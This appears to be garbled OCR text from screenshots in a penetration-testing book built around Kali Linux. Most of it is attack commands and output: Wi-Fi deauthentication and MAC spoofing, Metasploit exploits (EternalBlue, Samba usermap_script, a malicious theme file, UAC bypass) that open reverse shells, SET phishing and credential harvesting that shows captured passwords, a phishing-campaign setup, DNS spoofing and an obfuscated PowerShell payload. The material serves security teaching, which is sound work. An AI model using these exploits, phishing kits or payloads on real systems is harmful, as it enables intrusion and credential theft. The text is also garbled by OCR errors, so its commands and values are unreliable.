phy@ wlan@ iwlwifi Intel Corporation Centrino Advanced-N 62
05 [Taylor Peak] (rev 34)

(mac86211 monitor mode vif enabled for [phyB8]wlan® on [phy@]wlan

Bmon)
(mac80211 station mode vif disabled for [phyB]wlan®)
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root@kali:~# airodump-ng wlanOmon
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root@kali:

22:31:26

22:31:29

22:31:29

~# aireplay-ng -9 wlanBmon

Trying broadcast probe requests...
No Answer...

Found 4 APs

Trying directed probe requests...

99:8D:78:63:44:9C - channel: 11 - 'dsefiShe’

Ping (min/avg/max): 1.233ms/8.687ms/48.966ms Power: -73.83
23/30: 76%

Injection is working!

1C:5F:2B:09:F1:B@ - channel: 11 - '‘Wiiete@igler '
Ping (min/avg/max): 1.107ms/11.633ms/61.271ms Power: -52.18

30/30: 100%

60:5B:B4:27:EC:27 - channel: 11 - 'IEETEiaiEsows'
Ping (min/avg/max): 0.791ms/12.897ms/41.235ms Power: -86.90
30/36: 186%
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File Edit View Search Terminal Help
Kismet Sort View Windows

1 6 131B
Last seel
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Elapsed: 6 s ][ 2017-83-18 22:34

PWR RXQ Beacons #Data, #/s ENC CIPHER AUTH ESSID

00:26:75:6F:9D: -1 8 (]
1C:A5:33:A5: -62 83 72
9C:97:26:25: -80 59 37
BC:96:81:21: -77 83 72
FO:79:59:D5: -81 100 78
[H:EHEHH -82 10 2
74:D0:2B:8F: -82 68 62
2C:56:DC:F9: -85 21 16
18 R -85 14

FO:79:59:EC: -87 10

8>
. WPA2 CCMP  PSK
WPA2 CCMP  PSK
. WPA2 CCMP  PSK
WPA2 CCMP  PSK
WPA2 CCMP  PSK
WPA2 CCMP  PSK
WPA2 CCMP  PSK
. WPA2 CCMP  PSK
WPA2 CCMP  PSK

coD~RODDDDDD

BSSID STATION Frames Probe

(not associated)
(not associated)
(not associated)
(not associated)
(not associated)
(not associated)
(not associated)
00:26:75:6F:9D:5F
00:26:75:6F:9D:5F

1r.AE.23.AC.AD.OC
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root@kali:~# aireplay-ng -9 wlanOmon
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root@kali:~# macchanger wlan0 -r
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root@kali:~# macchanger wlan0 -e
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root@kali:~# ifconfig wlan® dowﬁ

root@kali:~# macchanger wlan® -r
Current MAC: 8c:70:5a:8c:cc:65
Permanent MAC: 8c:70:5a:Bc:cc:65
New MAC: 42:9d:19:cb:66: 17

(Intel Corporate)
(Intel Corporate)
(unknown)
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root@kali:~# airodump-ng -c 6 wlanOmon
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CH 6 ][ Elapsed: 28 s ][ 2013-10-23 14:41

BSSID PWR RXQ Beacons #Data, #/s CH MB
00:18:39:D5:5D:61 -53 100 288 234 8 6 54 OPN
BSSID STATION PWR  Rate Lost Frames
00:18:39:D5:5D:61 0GO:0E:2E:CF:8C:7C -52 54 -54 [¢] 141

ENC CIPHER AUTH ESSID

<length: 9>

Probe
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CH 10 ][ Elapsed: 48 s ][ 2613-10-23 14:21

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:18:39:D5:5D:61 -46 35 39 6 6 54 OPN <length: 9>
1C:3E:84:26:4B:E1 -80 30 0 6 1 54e OPN "
00:1A:30:64:76:81 -83 17 (] 0 3 b54e. WPA TKIP PSK =

BSSID STATION PWR  Rate Lost Frames Probe

9:2D:78 0 0 -1 0 11
:CF:8C:7C -54 0 -24 19 32

(not associated)  00:C0:C
00:18:39:D5:5D:61 00:0E:2
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root@kali:~# ifconfig wlan0 down
root@kali:~# ifconfig wlan0 | grep HW
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root@kali:~# ifconfig wlan0 hw ether 38:33:15:xXxX:XX:XX
root@kali:~# ifconfig wlanO up
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root@kali:~# aireplay-ng -0 10 -a 00:18:39:D5:5D:61 -c GO:0E:2E:CF:8C:7C mon@
14:52:06 Waiting for beacon frame (BSSID: OG 18:39:D5:5D:61) on channel 6

14:52:06 Sending 64 directed DeAuth.
14:52:07 Sending 64 directed DeAuth.
14:52:09 Sending 64 directed DeAuth.
14:52:09 Sending 64 directed DeAuth.

CF:8C:7C]
CF:8C:7C

)
:CF:8C:7C]
[00: OE 2E:CF:8C:7C]

STMAC

[ 2|61 ACKs]
[19]53 ACKs]
[30]61 ACKs]
[26]60 ACKs]
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CH 6 ][ Elapsed: 14 mins ][ 2013-10-23 14:55

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:18:39:05:50:61 -53 100 7666 6815 2 6 54 0PN dd_hidden
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Press ENTER when you are done editing.

Checking whether this Passenger install is in PATH... ¢

Checking whether there are no other Passenger installations... v

Checking whether Apache is installed... v«

Checking whether the Passenger module is correctly configured in Apache...

You did not specify 'LoadModule passenger module' in any of your Apache
configuration files. Please paste the configuration snippet that this
installer printed earlier, into one of your Apache configuration files, sucl
as /etc/apache2/apache2.conf.

[Detected 0 error(s), 1 warning(s).
Press ENTER to continue.
=
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Operating Sy
Set Label...






OEBPS/Image00202.jpg
<IfModule mod_passenger.c>
PassengerRoot $ROOT
PassengerRuby $%RUBY
</IfModule>

<VirtualHost *:80>
ServerName phishing-frenzy.local
DocumentRoot /var/www/phishing-frenzy/public
RailsEnv development
<Directory /var/www/phishing-frenzy/public>
AllowOverride all
Options -MultiViews
</Directory>
</VirtualHost>
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Console X | Scan X | Services X | Shell1 X | exploit X | Hail Mary

[*1
[+]
[+1
[*1
[*1
[*1
[*1
[*1
[*1
[*1
[*1
[*1
[*1
[*]

Finding exploits (via local magic)
192,168,213.157: found 447 exploits
192,168.0.119: found 28 exploits
Sorting Exploits...
Launching Exploits...
192.168.213.157:80 (linux/http/crypttech_cryptolog_login

192.168.213.157:80 (Linux/http/wipg1000_cmd_injection)
192.168.213.157:22 (Linux/ssh/mercurial_ssh_exec)
192.168.213.157:80 (Linux/http/huawei_hg532n_cmdinject)
192.168.213.157:80 (multi/http/trendmicro_threat_discove
192.168.213.157:139 (Linux/samba/is_known_pipename)
192.168.213.157:445 (Linux/samba/is_known_pipename)
192.168.213.157:80 (Linux/http/github_enterprise_secret)
192.168.213.157:80 (Linux/http/dnalims admin exec)
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Please edit your Apache configuration file, and add these lines:

LoadModule passenger module /usr/local/rvm/gems/ruby-2.3.0/gems/passenger-5.1.5/buildout/apache2/mod passenger.so

<IfModule mod passenger.c>
PassengerRoot /usr/local/rvm/gems/ruby-2.3.0/gens/passenger-5.1.5

PassengerDefaultRuby /usr/local/rvm/gems/ruby-2.3.0/wrappers/ruby
</IfModule>

After you restart Apache, you are ready to deploy any mumber of web
applications on Apache, with a minimum amount of configuration!
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service postgresql start
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LoadModule passenger_module

/usr/local/rvm/gems/ruby-2.3.0/gems/passenger-5.1.5/apache2/mod_passenger.s
o

<IfModule mod_passenger.c>
PassengerRoot /usr/local/rvm/gems/ruby-2.3.0/gems/passenger-5.1.5

PassengerDegfaultRuby /usr/local/rvm/gems/ruby/ruby-2.3.0/wrappers/ruby
</IfModule>
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Armitage View

0 Attacks Workspaces Help

» [ auxiliary
> & exploit
» (B payload

» [ post

Import Hosts
Add Hosts...

Nmap Scan >
MSF Scans...
DNS Enumerate

Intense Scan
Intense Scan + UDP
Intense Scan, all TCP ports
Intense Scan, no ping
Ping Scan

Quick Scan

Quick Scan (0S detect)
Comprehensive

Clear Database

10.10.11
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wget http://download.redis.io/releases/redis-stable.tar.gz
tar xzf redis-stable.tar.gz

cd redis-stable

make && make install

cd utils

./install_server.sh
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root@kali:/var/www/i:)hishiné-frenz/y/redis-stable/utils# ./install server.sh
Welcome to the redis service installer
This script will help you easily set up a running redis server

Please select the redis port for this instance: [6379] 6279
Please select the redis config file name [/etc/redis/6279.conf]
Selected default - /etc/redis/6279.conf

Please select the redis log file name [/var/log/redis_6279.log]
Selected default - /var/log/redis 6279.log

Please select the data directory for this instance [/var/lib/redis/6279]
Selected default - /var/lib/redis/6279

Please select the redis executable path [/usr/local/bin/redis-server]
Selected config:
Port : 6279

Config file : /etc/redis/6279.conf

Log file /var/log/redis 6279.log
Data dir : /var/lib/redis/6279
Executable /usr/local/bin/redis-server
Cli Executable : /usr/local/bin/redis-cli
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msf > use exploit/windows/smb/msl7_010_eternalblue

msf exploit(msl7_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse tcp

msf exploit(msl7_010_eternalblue) > set rhost 192.168.0.138

rhost => 192.168.0.138

msf exploit(msl7_010_eternalblue) > set lhost 192.168.0.137

lhost => 192.168.0.137

msf exploit(msl7_010_eternalblue) > exploit

[*] started reverse TCP handler on 192.168.0.137:4444

[*] 192.168.0.138:445 Connecting to target for exploitation.

[+] 192.168.0.138:445 Connection established for exploitation.

[+] 192.168.0.138:445 Target OS selected valid for OS indicated by SMB reply

[*] 192.168.0.138:445 - CORE raw buffer dump (36 bytes)

[*] 192.168.0.138:445 0x00000000 57 69 6e 64 6£ 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 192.168.0.138:445 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
[*] 192.168.0.138:445 0x00000020 36 2e 31 00 6.1

[+] 192.168.0.138:445 Target arch selected valid for OS indicated by DCE/RPC reply

[*] 192.168.0.138:445 - Trying exploit with 12 Groom Allocations.

[*] 192.168.0.138:445 Sending all but last fragment of exploit packet

[*] 192.168.0.138:445 - starting non-paged pool grooming

[+] 192.168.0.138:445 Sending SMBv2 buffers

ococoooo0o0o0co0000
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[*] Meterpreter session 1 opened (192.168.0.137:4444 -> 192.168.0
[+] 192.168.0.138:445 -

[+] 192.168.0.138:445 -

[+] 192.168.0.138:445 - =-=

meterpreter > sys:mfo

Computer METASPLOITABLE3

os : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en US

Domain : ADVANCED

Logged On Users : 3

Meterpreter : x64/windows
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set:phishing>1
T-1 available templates:

: Strange internet usage from your computer
: New Update

: Dan Brown's Angels & Demons

: Have you seen this?

: Computer Issue

: Status Report

: Baby Pics

[

! This is crazy...
: How long has it been?
10: Order Confirmation

2
3
41
5
6
7
8:
9
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[*] Powershell session session 1 opened (192.168.0.137:4444 -> 192.168.0.119:52352) at 2017-06-05 22:05:05 -0400

msf exploit(msl3 071_theme) > sessions -i 1
[*] Starting interaction with 1...

Windows PowerShell running as user EISC on VICTIM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS Microsoft.Powershell.Core\FileSystem::\\192.168.0.137\WEvZ> get-command
Definition

ForEach-Object
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git clone https://github.com/pentestgeek/phishing-frenzy.git
/var/www/phishing-frenzy

curl -sSL https://get.rvm.io | bash

rvm install 2.1.5

rvm all do gem install --no-rdoc --no-ri rails

rvm all do gem install --no-rdoc —--no-ri passenger
apt—-get install apache2-dev libaprl-dev libaprutill-dev libcurl4-openssl-

dev
passenger—-install-apache2-module
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use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost 192.168.0.166

set lhost 192.168.0.137

set lport 4444

exploit -j

use exploit/windows/smb/msl17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost 192.168.0.119

set lhost 192.168.0.137

set lport 4442

exploit -j
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set:payloads> Port to connect back on [443]:443

[*] All good! The directories were created.

[-] Generating fileformat exploit...

[*] Waiting for payload generation to complete (be patient, bit)...

[*] Waiting for payload generation to complete (be patient, bit)...

[*] Waiting for payload generation to complete (be patient, bit)...

[*] Waiting for payload generation to complete (be patient, hi )=

[*] Waiting for payload generation to complete (be patient, bit)...

[*] Payload creation complete.

[*] All payloads get sent to the template.pdf directory

[*] If you are using GMAIL - you will need to need to create an application password|
answer/6010255%hl=en

[-] As an added bonus, use the file-format creator in SET to create your attachment.

Right now the attachment will be imported with filename of 'template.whatever'

Do you want to rename the file?

example Enter the new filename: moo.pdf

1. Reep the filename, I don't care.
2. Rename the file, I want to be cool.
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msf > use exploit/windows/fileformat/ms13 071_theme

msf exploit(msl3_071_theme) > set payload windows/powershell reverse tcp
payload => windows/powershell reverse tcp

msf exploit(msl3 071 theme) > set lhost 192.168.0.137

lhost => 192.168.0.137

msf exploit(msl3_071_theme) > exploit

[*] Exploit running as background job.

[*] started reverse SSL handler on 192.168.0.137:4444

msf exploit(msl3 071 theme) > [*] Server started.

[*] Malicious SCR available on \\192.168.0.137\WEvZ\msf.scr...
[*] Creating 'msf.theme' file ...

[+] msf.theme stored at /root/.msf4/local/msf.theme
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set:phishing>2

set:phishing> New filename:sexy.pdf
[*] Filename changed, moving on...

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would
be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as

you want within that list.
What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

99. Return to main menu.
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We can’t verify who created this file. Are you sure you want to
run this file?

Mame: 192,168,013 7WAEWZ\msf.scr
Type: Screen saver
From: 192,168.0.137WAEWZ\msf.scr

locations you don't recognize can harm your PC. Only rn this file if

@ This file is in & location outside your local network. Files from
you trust the location. 'What's the risk?
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kali@linux:~# iwconfig wlan0O txpower 30
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root@kali:~# nc -vv 192.168.0.119 9999
192.168.0.119: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.119] 9999 (?) open

Welcome to Vulnerable Server! Enter HELP for help.
HELP

Valid Commands:

HELP

STATS lstat__value]

RTIME [rtime value]

LTIME [ltime value]

SRUN [srun value]

TRUN [trun_value]

GMON [gmon value]

GDOG [gdog_value]

KSTET [kstet value]

GTER [gter value]

HTER [hter value]

LTER [lter value]

KSTAN llstan_value]

EXIT
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kali@linux:~# airmon-ng start wlanO





OEBPS/Image00210.jpg





OEBPS/Image00452.jpg
msf > search myown

Matching Modules

Name Disclosure Date Rank Description

exploit/windows/myown 2003-06-21 normal Sambar 6 Search Results Buffer Overflow
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root@kali:~# iwconfig
ethe no wireless extensions.

wlan@ IEEE 862.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm

Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

no wireless extensions.
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\ WSy'ster - vulnservel

Microsoft Windows [Version 6.1.76811
Copyright (c> 2809 Microsoft Corporation. All rights reserved.

C:\Users\EISC\Dounloads\vulnserver>vulnserver.exe
Starting vulnserver version 1.
iCalled essential function dl1 version 1.88

This is vulnerable software?
Do not allow access from untrusted systems or networks?

Maiting for client connections...
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root@kali:~# airmon-ng check kill
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root@kali:~# searchsploit ftp windows remote

Exploit Title

OverByte ICS FTP Server - Remote Denial of Service

WETPD Pro Server 3.21 - MLST Remote Denial of Service
RhinoSoft Serv-U FTP Server < 5.2 - Remote Denial of Service
Quick 'n EasY 2.4 FTP Server - Remote Denial of Service
Ipswitch WS _FTP Server 5.03 - MKD Remote Buffer Overflow
PlatinumFTP 1.0.18 - Multiple Remote Denial of Service
FutureSoft TFTP Server 2000 - Remote Denial of Service
FTPshell Server 3.38 - Remote Denial of Service

Quick 'n EasY 3.0 FTP Server - Remote Denial of Service

Path
(/usr/share/exploitc

windows/dos/356.
windows/dos/427.
windows/dos/463.
windows/dos/593.
windows/dos/664.
windows/dos/886.
windows/dos/1027.c
windows/dos/1121.pl
windows/dos/1129.c
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20150515012820 AddAdminIdToModels: migrating
add reference (:campaigns, :admin, {:index=>true, :foreign key=>true})
-> 0.3608s

add reference(:templates, :admin, {:index=>true, :foreign key=>true})
-> 0.3940s

20150515012820 AddAdminIdToModels: migrated (0.7551s)

20150714194319 AddReplytoToEmailSettings: migrating
add column(:email settings, :reply to, :string)

-> 0.0968s

20150714194319 AddReplytoToEmailSettings: migrated (0.0969s)

20150718022848 ChangeDefaultAsynchronousValueInGlobalsSettings: migrating ==
change column(:global settings, :asynchronous, :boolean, {:default=>true})
-> 0.0032s

20150718022848 ChangeDefaultAsynchronousValueInGlobalSettings: migrated (0.0126s)

20150718023513 AddSiteUrlToGlobalSettings: migrating —————————

add column(:global_settings, :site url, :string, {:default=>"https://phishingfrenzy.local"})
-> 0.0935s

20150718023513 AddsiteUrlToGlobalSettings: migrated (0.0937s)
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Campaign Created

cted for this

ICampaign Options - companyz

Campaign Settings

Name e companyz

Description o Hacking made easy

Active (-] (@]

Test Target -] admin@phishingfrenzy.local

Targets (0) ° target@companyz.com;target2@companyz.com
Template Selection

Phishing Scenario (-]

[Efax

SMTP Settings

Email Settings
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rootekali:~# cp /usr/share/exploitdb/platforms/windows/remote/3996.c apache.
rootekali:~# gcc apache.c -o apache
root@kali:~# ./apache
Exploit: apache mod rewrite exploit (win32)
By: fabio/b0x (oc-192, old CoTS member)
Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman,
Usage: ./apache hostname rewrite path
rootekali:~# ./apache localhost /
Exploit: apache mod rewrite exploit (win32)
By: fabio/b0x (oc-192, old CoTS member)
Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman,

[+]Preparing payload
[+]Connecting. . .
[+]1Connected

[+]Sending. ..

[+]1sent

[+]Starting second stage...
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root@kali:~# cp /usr/sh:are/expl. db/platforms/windows/remote/16756.rb myown.rb

rooteka. # mv myown.rb .msf4/modules/exploits/windows/
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Fos phishing-frenzy.local/admins/sign_in

Sign in

Username

Password

() Remember me

Sign up
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info discussion exploit solution references

Apache HTTP Server CVE-2016-0736 Remote Security Vulnerability

References:

« Bug 1406744 - (CVE-2016-0736) CVE-2016-0736 httpd: Padding Oracle in Apache mod (Redhat)
« Apache httpd 2.4 vulnerabilities (Apache)
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New Phishing Campaign

Name companyz

Description ‘ Hacking made easy{

Create Campaign
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rootRkali:~# cp /usr/share/exploitdb/platforms/windows/remote/3996.c
apache.c

root@kali:~# gcc apache.c -o apache

rootRkali:~# ./apache
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@ 192.168.255.1 30/signin/v2/identifier?flowName=GlifWebSignin&flowEntry=ServiceLogin

Google
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Email or phone
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NEXT
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root@kali:/usr/share/metasploit-framework/lib# 1s
anemone msfenv.rb rbmysql.rb tasks
anemone . rb net rex telephony
lenumerable.rb postgres rex.rb telephony.rb

metasm postgres_msf.rb snmp windows_console_color_support.rb
metasploit rabal snmp . rb

msf rbmysql sqlmap
root@kali:/usr/share/metasploit-framework/lib# cd msf/

base/ core/ scripts/ ui/ util/
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Select from the menu:

1)
2)
)
1)
5)

6)
7
8)
9)
10)
11)

99)

Spear-Phishing Attack Vectors
Website Attack Vectors

Infectious Media Generator

Create a Payload and Listener

Mass Mailer Attack

Arduino-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

SMs Spoofing Attack Vector

Third Party Modules

Return back to the main menu.
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msf exploit(bypassuac) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > shell
Process 1332 created.

Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami

nt authority\system
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[*] WE GOT A HIT! Printing the output:

PARAM:
PARAM:

continue=https://accounts.google.com/ManageAccount
followup=https://accounts.google.com/ManageAccount

POSSIBLE USERNAME FIELD FOUND: f.reg=["vijay","AEThL1zu9LRR]-Ds
11,2, false, true, [null,null,[2,1,null, 1, "https://accounts.google
POSSIBLE PASSWORD FIELD FOUND: f.req=["vijay","AEThL1zu9LRR]-Ds
11,2, false, true, [null,null,[2,1,null,1,"https://accounts.google

PARAM:

PARAM:
PARAM:

continue=https%3A%2F%2Faccounts.google.com%2FManageAccou
followup=https%3A%2F%2Faccounts.google.com%2FManageAccou
bgRequest=["identifier", " !WlmlWU5Cg9mwAQEvZv1EnPMFVaEs5E

sICQISEKSEP2LPGQLrdpPUS6wLhRICUzKkqIDLBorg4XBeK6r89UDBilgcnyl J
1zPUdTtNCGMTtBCi01z79WFZrRUxHaFUHiZAArRvDifLIyyBeYg"]

PARAM:
PARAM:
PARAM:
PARAM:
PARAM:
PARAM:

PARAM:

azt=AFoagUVYuzABX0ODk11FPv5H53IxHMt -Lkw: 1497764769802
deviceinfo=[null,null,null, [],null, "MY",null,null, [],"GL
gmscureversion=undefined

checkConnection=

checkedDomains=youtube

pstMsg=1

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
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"

[@ » Control Panel » All Control Panel ltems » Credential Manager

| Panel Home

Store credentials for automatic logon

Use Credential Manager to store credentials, such as user names and passwords, in vaults so you can easily log

on to computers or websites.

‘Windows Vault
Default vault location

Back upvault Restore vault

Windows Credentials

No Windows credentials.

Certificate-Based credentials

Add a Windows credential

Add a certificate-based credential

No certificates.

Generic Credentials

hitp://61.6.60.142

Internet or network address: hitp://616.60.142
User name: vijay
Password: ssssssss

Persistence: Enterprise

Edit Remove from vault

Add a generic credential

Modified: Today (&)
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rootlext-kali:~# cat /root/.set/reports/powershell/x86 powershell injection.txt

powershell -w 1 -C "sv D -;sv q ec;sv BR ((gv D).value.toString()+(gv q).value.t
ng() 'JABJAFOAeAAGADOATAANACQAaQBhAGMATAA9ACAAIWANAFSARABSAGWASQBLAHAADWBYAHQAKA
AHAAJQBi AGWAAQBjACAACWBOAGEAJABpAGMATAR] AHGAJAB] AHTAbGAGAEKAbGBOAFAAJABYACAAVGED
QACgAgGAGWACABRAGOAZABYAGUACWBZACWATAB] AGKADGBOACAAZAB3AFMAAQB6AGUALAAGAHUAAQBUAH
CAB1ACWATAB1AGKAbGBOACAAZGBSAFAACGBVAHQAZQBJAHQARQATAF SARABSAGWASQBtAHRALWBYAHQA.
BAAHAAQQBiAGWAaQBJACAACWBOAGEAJABDAGMATAB] ARGAJAB] AHTAbGAGAEKABGBOAFAAABYACAAQW
AHQACGAGAGWACABUAGGACGB1AGEAZABRAHQAJABYAGKAYgB1AHQAZQOBZACWATAB] AGKAbGBOACAAZAB3
QACgAGAGWACABTAHQAYQBYAHQAQOBKAGQACGB1AHMACWASACAASQBUAHQAUABOAHTATABSAHAAUABhAH
QWBYAGUAYQBOAGKADWBUAEYADABhAGCACWASACAASQBUAHQAUABOAHIATABSAHAAVABOAHIAZQEhAGQA
BtAHMAdGBjAHTAJAAUAGQALABSACIARQBAAHAAAQBI AGWAaQRjACAACWBOAGEAJABDAGMATAB] AHGAdA.
AHQARKABJAGAAJABQAHQACGAGAGQAZQBZAHQATAAGARUAAQBUAEQATABZARTAYWASACAAIQBPAGAAdAAG
EAZABKACOAVABSAHAAZQAGACOABQB1AGOAYGR1AHTARAR] AGYAaQBUAGKAJABPAGBABGAGACQAAQBhAG
LQBUAGEADQB1AHMACABhAGMAZQAGAF cAaQBUADMAMGBGAHUADGBE JAHQAAQBVAG4ACWAGACOACABhAHMA
BCAHKAJAB]AFSAXQBAACQAeGAGADOATAAWAHGAZGBEACWAMABAAGUAOAASADARCAAMADTALAAWAHGAMA.
ACWAMABAADGAOQASADAAeAB1ADUALAAWAHGAMWAXACWAMAB4AGMAMAASADAAeAA2 ADQALAAWAHGAOABI.
WAMAB4ADUAMgASADAReAAWAGMALAAWAHGAOABI ACWAMABAADUAMgASADAAeAAXADQALAAWAHGAOABIAC
MAB4AGIANWASADAAeAAOAGEALAAWAHGAMGA2 ACWAMABAADMAMOA SADAACABMAGYALAAWAHGAYQBJACWA!
B4ADAAMGASADAAeAAYAGMALAAWAHGAMGAWACWAMABAAGMAMOA SADAACABjAGYALAAWAHGAMABKACWAMA
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[*] Started HTTPS reverse handler on https://0.0.0.0:443

[*] starting the payload handler...

msf exploit(handler) > [*] https://0.0.0.0:443 handling request f|
958531 bytes) ...

[*] Meterpreter session 1 opened (192.168.0.116:443 -> 192.168.0.

msf exploit(handler) > sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/windows victim\EISC @ VICTIM 192.168.0.11
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[*] WE GOT A HIT! Printing the output:

PARAM: 1sd=AVrHjTSO

PARAM: display=

PARAM: enable profile selector=

PARAM: isprivate=

PARAM: legacy return=0

PARAM: profile selector_ids=

PARAM: return_session=

POSSIBLE USERNAME FIELD FOUND: skip_api_ login=

PARAM: signed next=

PARAM: trynum=1

PARAM: timezone=-486

PARAM: 1gndim=eyJ3Ijox0TIWLCIoIjoxMDgwLCIhdyI6MTKyMCwiYWgi0jEwNDASIMMi0jI8f0==
PARAM: 1gnrnd=225344 AyZh

PARAM: 1gnjs=1497765243

POSSIBLE USERNAME FIELD FOUND: email=vijayk

POSSIBLE PASSWORD FIELD FOUND: pass=velu

[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
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Love leveraging credentials? Check out bruteforcing
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.14.14-dev
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Y |

Multi-Attack Web Attack Vector

R |

The multi attack vector utilizes each combination of attacks
and allow the user to choose the method for the attack. Once
you select one of the attacks, it will be added to your
attack profile to be used to stage the attack vector. When
your finished be sure to select the 'I'm finished' option.

iSelect which attacks you want to use:

. Java Applet Attack Method (OFF)
Metasploit Browser Exploit Method (OFF)
. Credential Harvester Attack Method (OFF)
Tabnabbing Attack Method (OFF)
Web Jacking Attack Method (OFF)
. Use them all - A.K.A. 'Tactical Nuke'
I'm finished and want to proceed with the attack

Return to Main Menu
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msf > db_status
[*] postgresqgl connected to msf





OEBPS/Image00175.jpg
root@kali:~rm /etc/ssh/ssh_host_ *
root@kali:~dpkg-reconfigure openssh-server

root@kali:~ service ssh restart
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msf exploit(handler) > use exploit/windows/local/bypassuac
ims_f exploit (bypassuac) > show options

Module options (exploit/windows/local/bypassuac):
Name Current Setting Required Description
SESSION The session to run this module on.
TECHNIQUE EXE Technique to use if UAC is turned off (|
Accepted: PSH, EXE)
Exploit target:
Id Name

Windows x86

msf exploit(bypassuac) > set session 1
|session => 1
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Select from the menu:

1)
2)
3)
4)
5)
6)

99)

Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party Modules

Update the Social-Engineer Toolkit
Update SET configuration

Help, Credits, and About

Exit the Social-Engineer Toolkit






OEBPS/Image00418.jpg
msf exploit(bypassuac) > exploit

[*] Started reverse TCP handler on 192.168.0.120:4444

[*] UAC is Enabled, checking level...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...

[+] Part of Administrators group! Continuing...

[*] Uploaded the agent to the filesystem....

[*] Uploading the bypass UAC executable to the filesystem...

[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] sending stage (957487 bytes) to 192.168.0.119

[*] Meterpreter session 2 opened (192.168.0.120:4444 -> 192.168.0.119:49635) at
2017-05-27 13:54:27 -0400
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msf exploit(handler) > [*] https://192.168.0.120:8443 handling request from 192.
168.0.119; (UUID: iwifc9ll) Staging x86 payload (958531 bytes)

[*] Meterpreter session 1 opened (192.168.0.120:8443 -> 192.168.0.119:49621) at
2017-05-27 13:51:15 -0400

sessions

Active sessions

Id Type Information Connection

1 meterpreter x86/windows victim\EISC @ VICTIM 192.168.0.120:8443 -> 192.1|
68.0.119:49621 (192.168.0.119)
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msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getsystem
[-]1 priv_elevate getsystem: Operation failed: The environment is incorrect. The

following was attempted:

[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > sys:u:\fo

Computer VICTIM

oS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en US

Domain : ADVANCED

Logged On Users : 3

Meterpreter : x86/windows
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bettercap -I eth0 -0 log.txt -X —-—gateway 192.168.0.1 —--target
192.168.0.116 --dns dns.conf





OEBPS/Image00432.jpg
msf> use exploit/multi/samba/usermap script
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http://bettercap.org/

[I] starting [ spoofing:e discovery: s sniffer:s tcp-proxy: x http-proxy: x https-|
roxy: A sslstrip: » http-server: x dns-server:y ] ...

[I] [eth0] 192.168.0.116 : 00:0C:29:D1:13:33 / eth0 ( VMware )

[I] Found hostname dlinkrouter for address 192.168.0.1

[I] [GATEWAY] 192.168.0.1 : 1C:5F:2B:09:F1:B0 / dlinkrouter ( D-Link Internatio
al)

[II1 [DNS] starting on 192.168.0.116:5300 ...
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msf exploit(usermap script) > set payload cmd/unix/reverse
payload => cmd/unix/reverse

msf exploit(usermap_script) > set rhost 192.168.213.157
rhost => 192.168.213.157

msf exploit(usermap script) > set rport 445

rport => 445

msf exploit(usermap_script) > set lhost 192.168.213.156
Inost => 192.168.213.156

msf exploit(usermap script) > exploit

1
[*1
[*1
[*1
[*1
*1
E21
[*1
[*1
|
%1
[*1

Started reverse TCP double handler on 192.168.213.156:4444
Accepted the first client connection.

Accepted the second client connection

Command: echo CWANSXAMEOSLTHIR;

Writing to socket A

Writing to socket B

Reading from sockets...

Reading from socket B

B: "CWANSXAMfOSLTHIR\r\n"

Matching. ..

A is input...

Command shell session 1 opened (192.168.213.156:4444 -> 192.168.213.157:49011) at 2017-06-02 14:14:23 -0400

hostname

metasploitable

whoami

root

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
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msf> info exploit/multi/samba/usermap script
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local .*google\.com
# redirect *.microsoft.com to 192.168.0.116
192.168.0.116 .*microsoft\.com





OEBPS/Image00431.jpg
msf > info exploit/multi/samba/usermap script

Samba "username map script" Command Execution
exploit/multi/samba/usermap script

Unix

Yes

Metasploit Framework License (BSD)

Excellent

2007-05-14

Provided by:
jduck <jduck@metasploit.com>

Available targets:
Id Name

0  Automatic

Basic options:
Name Current Setting Required Description
RHOST The target address
RPORT 139 The target port (TCP)

Payload information:
Space: 1024

Description:
This module exploits a command execution vulerability in Samba
versions 3.0.20 through 3.0.25rc3 when using the non-default
"username map script" configuration option. By specifying a username
containing shell meta characters, attackers can execute arbitrary
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set:payloads>7

Reverse TCP Shell
Meterpreter Reverse TCP
Reverse VNC DLL

Reverse TCP Shell (x64)
Meterpreter Reverse TCP (X64)
Shell Bind TCP (X64)
Meterpreter Reverse HTTPS

